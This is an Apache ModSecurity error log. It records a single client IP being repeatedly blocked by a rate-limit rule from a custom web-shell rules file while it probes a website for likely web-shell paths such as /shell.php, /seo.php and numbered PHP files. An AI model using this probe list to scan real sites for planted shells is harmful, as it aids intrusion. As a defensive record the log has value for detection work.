[Thu Apr 23 16:15:25.743450 2026] [:error] [pid 64998:tid 65010] [client 20.216.153.175:52479] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aenVHYV5EysYcTLjmwjrXQAAAcg"]
[Thu Apr 23 16:15:27.081513 2026] [:error] [pid 42972:tid 43031] [client 20.216.153.175:11439] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/p.php"] [unique_id "aenVH8OAb-3sOknsk4fJ2QAAAE8"]
[Thu Apr 23 16:15:30.394743 2026] [:error] [pid 42972:tid 43026] [client 20.216.153.175:21363] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/p.php"] [unique_id "aenVIsOAb-3sOknsk4fJ4AAAAEo"]
[Thu Apr 23 16:15:30.705757 2026] [:error] [pid 42972:tid 43025] [client 20.216.153.175:20770] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aenVIsOAb-3sOknsk4fJ4wAAAEk"]
[Thu Apr 23 16:15:31.256049 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:5946] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/p.php"] [unique_id "aenVI8OAb-3sOknsk4fJ5gAAAEc"]
[Thu Apr 23 16:15:31.811054 2026] [:error] [pid 42972:tid 43028] [client 20.216.153.175:51267] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aenVI8OAb-3sOknsk4fJ6gAAAEw"]
[Thu Apr 23 16:15:32.457333 2026] [:error] [pid 42972:tid 43033] [client 20.216.153.175:20757] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aenVJMOAb-3sOknsk4fJ7gAAAFE"]
[Thu Apr 23 16:15:32.931563 2026] [:error] [pid 42972:tid 43030] [client 20.216.153.175:22509] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aenVJMOAb-3sOknsk4fJ8wAAAE4"]
[Thu Apr 23 16:15:33.495533 2026] [:error] [pid 42972:tid 43026] [client 20.216.153.175:5632] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aenVJcOAb-3sOknsk4fJ9gAAAEo"]
[Thu Apr 23 16:15:33.990153 2026] [:error] [pid 42972:tid 43029] [client 20.216.153.175:5678] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4.php"] [unique_id "aenVJcOAb-3sOknsk4fJ9wAAAE0"]
[Thu Apr 23 16:15:34.296733 2026] [:error] [pid 42972:tid 43038] [client 20.216.153.175:22805] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aenVJsOAb-3sOknsk4fJ-QAAAFY"]
[Thu Apr 23 16:15:34.720379 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:60530] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4.php"] [unique_id "aenVJsOAb-3sOknsk4fJ_QAAAFc"]
[Thu Apr 23 16:15:35.981686 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:22510] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bthil.php"] [unique_id "aenVJ26I0QqmmmLTHE3FIwAAAJY"]
[Thu Apr 23 16:15:36.345956 2026] [:error] [pid 42973:tid 43066] [client 20.216.153.175:22833] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4.php"] [unique_id "aenVKG6I0QqmmmLTHE3FJgAAAJc"]
[Thu Apr 23 16:15:37.134288 2026] [:error] [pid 65000:tid 65050] [client 20.216.153.175:29790] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/4.php"] [unique_id "aenVKb6vRb9j6psK2Za9aAAAAhE"]
[Thu Apr 23 16:15:37.779025 2026] [:error] [pid 65000:tid 65056] [client 20.216.153.175:27422] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bthil.php"] [unique_id "aenVKb6vRb9j6psK2Za9agAAAhc"]
[Thu Apr 23 16:15:39.239052 2026] [:error] [pid 46953:tid 46980] [client 20.216.153.175:52463] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bthil.php"] [unique_id "aenVK0nlpdHh-P6wKboGkwAAAlc"]
[Thu Apr 23 16:15:39.330137 2026] [:error] [pid 46953:tid 46962] [client 20.216.153.175:22487] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/5.php"] [unique_id "aenVK0nlpdHh-P6wKboGlAAAAkY"]
[Thu Apr 23 16:15:40.186863 2026] [:error] [pid 25635:tid 25659] [client 20.216.153.175:52471] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bthil.php"] [unique_id "aenVLMRxv6UsgRGKB3IdfgAAARQ"]
[Thu Apr 23 16:15:40.474925 2026] [:error] [pid 59700:tid 59704] [client 20.216.153.175:11785] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/5.php"] [unique_id "aenVLJXyGZJFeAIDWtnomAAAAUI"]
[Thu Apr 23 16:15:41.175682 2026] [:error] [pid 64967:tid 64978] [client 20.216.153.175:23884] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "aenVLYAV4GfOOdX8QzpYFAAAAYk"]
[Thu Apr 23 16:15:41.336880 2026] [:error] [pid 59700:tid 59718] [client 20.216.153.175:23880] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/5.php"] [unique_id "aenVLZXyGZJFeAIDWtnomgAAAVA"]
[Thu Apr 23 16:15:42.270655 2026] [:error] [pid 42973:tid 43052] [client 20.216.153.175:51303] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/5.php"] [unique_id "aenVLm6I0QqmmmLTHE3FMwAAAIk"]
[Thu Apr 23 16:15:42.781691 2026] [:error] [pid 42973:tid 43062] [client 20.216.153.175:22838] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "aenVLm6I0QqmmmLTHE3FNwAAAJM"]
[Thu Apr 23 16:15:42.997069 2026] [:error] [pid 42973:tid 43053] [client 20.216.153.175:11832] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/6.php"] [unique_id "aenVLm6I0QqmmmLTHE3FOAAAAIo"]
[Thu Apr 23 16:15:43.854594 2026] [:error] [pid 42973:tid 43050] [client 20.216.153.175:38883] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "aenVL26I0QqmmmLTHE3FPwAAAIc"]
[Thu Apr 23 16:15:43.892310 2026] [:error] [pid 46953:tid 46976] [client 20.216.153.175:28341] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/6.php"] [unique_id "aenVL0nlpdHh-P6wKboGmAAAAlQ"]
[Thu Apr 23 16:15:44.694471 2026] [:error] [pid 25635:tid 25649] [client 20.216.153.175:51323] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shell.php"] [unique_id "aenVMMRxv6UsgRGKB3IdhQAAAQo"]
[Thu Apr 23 16:15:45.636187 2026] [:error] [pid 42972:tid 43021] [client 20.216.153.175:52446] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/max.php"] [unique_id "aenVMcOAb-3sOknsk4fKCwAAAEU"]
[Thu Apr 23 16:15:46.349514 2026] [:error] [pid 42972:tid 43032] [client 20.216.153.175:51800] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/max.php"] [unique_id "aenVMsOAb-3sOknsk4fKDQAAAFA"]
[Thu Apr 23 16:15:47.019566 2026] [:error] [pid 65000:tid 65053] [client 20.216.153.175:44475] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/max.php"] [unique_id "aenVM76vRb9j6psK2Za9bQAAAhQ"]
[Thu Apr 23 16:15:47.321053 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:22484] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/6.php"] [unique_id "aenVM26I0QqmmmLTHE3FQgAAAJE"]
[Thu Apr 23 16:15:47.834360 2026] [:error] [pid 65000:tid 65055] [client 20.216.153.175:29792] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/max.php"] [unique_id "aenVM76vRb9j6psK2Za9bwAAAhY"]
[Thu Apr 23 16:15:48.887651 2026] [:error] [pid 42973:tid 43051] [client 20.216.153.175:27425] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/seo.php"] [unique_id "aenVNG6I0QqmmmLTHE3FbQAAAIg"]
[Thu Apr 23 16:15:50.024416 2026] [:error] [pid 65000:tid 65044] [client 20.216.153.175:60485] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/seo.php"] [unique_id "aenVNr6vRb9j6psK2Za9cgAAAgs"]
[Thu Apr 23 16:15:50.693712 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:11425] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/seo.php"] [unique_id "aenVNsOAb-3sOknsk4fKEAAAAEs"]
[Thu Apr 23 16:15:51.601042 2026] [:error] [pid 42971:tid 42988] [client 20.216.153.175:24304] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/seo.php"] [unique_id "aenVNzEP2_5RswrH8bELMAAAAAI"]
[Thu Apr 23 16:15:52.707569 2026] [:error] [pid 42971:tid 42999] [client 20.216.153.175:27445] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/7.php"] [unique_id "aenVODEP2_5RswrH8bELMgAAAA0"]
[Thu Apr 23 16:15:53.694103 2026] [:error] [pid 65000:tid 65048] [client 20.216.153.175:38907] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/7.php"] [unique_id "aenVOb6vRb9j6psK2Za9dgAAAg8"]
[Thu Apr 23 16:15:54.487745 2026] [:error] [pid 64998:tid 65006] [client 20.216.153.175:27408] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/7.php"] [unique_id "aenVOoV5EysYcTLjmwjrkQAAAcQ"]
[Thu Apr 23 16:15:55.235304 2026] [:error] [pid 42973:tid 43057] [client 20.216.153.175:51821] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/7.php"] [unique_id "aenVO26I0QqmmmLTHE3FswAAAI4"]
[Thu Apr 23 16:15:56.236098 2026] [:error] [pid 64998:tid 65009] [client 20.216.153.175:24737] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aenVPIV5EysYcTLjmwjrkgAAAcc"]
[Thu Apr 23 16:15:57.018936 2026] [:error] [pid 42972:tid 43027] [client 20.216.153.175:51274] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aenVPcOAb-3sOknsk4fKGwAAAEs"]
[Thu Apr 23 16:15:57.727612 2026] [:error] [pid 25635:tid 25642] [client 20.216.153.175:51797] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aenVPcRxv6UsgRGKB3IdhwAAAQM"]
[Thu Apr 23 16:15:58.864005 2026] [:error] [pid 65000:tid 65043] [client 20.216.153.175:23206] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aenVPr6vRb9j6psK2Za9fQAAAgo"]
[Thu Apr 23 16:15:59.669575 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:27433] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aenVP8OAb-3sOknsk4fKHwAAAFc"]
[Thu Apr 23 16:16:00.286709 2026] [:error] [pid 42972:tid 43026] [client 20.216.153.175:51296] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aenVQMOAb-3sOknsk4fKIgAAAEo"]
[Thu Apr 23 16:16:01.493407 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:27414] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aenVQW6I0QqmmmLTHE3FuAAAAJI"]
[Thu Apr 23 16:16:02.162597 2026] [:error] [pid 42972:tid 43020] [client 20.216.153.175:44450] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aenVQsOAb-3sOknsk4fKJQAAAEQ"]
[Thu Apr 23 16:16:02.824303 2026] [:error] [pid 42972:tid 43036] [client 20.216.153.175:22073] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2.php"] [unique_id "aenVQsOAb-3sOknsk4fKJgAAAFQ"]
[Thu Apr 23 16:16:03.433191 2026] [:error] [pid 43083:tid 43088] [client 20.216.153.175:60068] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2.php"] [unique_id "aenVQzC5hrvNXosL83JSUQAAAMM"]
[Thu Apr 23 16:16:04.095042 2026] [:error] [pid 46953:tid 46979] [client 20.216.153.175:22068] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2.php"] [unique_id "aenVREnlpdHh-P6wKboGowAAAlY"]
[Thu Apr 23 16:16:04.830519 2026] [:error] [pid 25635:tid 25657] [client 20.216.153.175:11784] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2.php"] [unique_id "aenVRMRxv6UsgRGKB3IdjAAAARI"]
[Thu Apr 23 16:16:05.747028 2026] [:error] [pid 65000:tid 65056] [client 20.216.153.175:57256] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/3.php"] [unique_id "aenVRb6vRb9j6psK2Za9hwAAAhc"]
[Thu Apr 23 16:16:06.660003 2026] [:error] [pid 46953:tid 46968] [client 20.216.153.175:5355] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/3.php"] [unique_id "aenVRknlpdHh-P6wKboGqQAAAkw"]
[Thu Apr 23 16:16:07.486393 2026] [:error] [pid 46953:tid 46971] [client 20.216.153.175:11877] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/3.php"] [unique_id "aenVR0nlpdHh-P6wKboGqwAAAk8"]
[Thu Apr 23 16:16:08.296399 2026] [:error] [pid 42972:tid 43018] [client 20.216.153.175:60048] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/3.php"] [unique_id "aenVSMOAb-3sOknsk4fKKAAAAEI"]
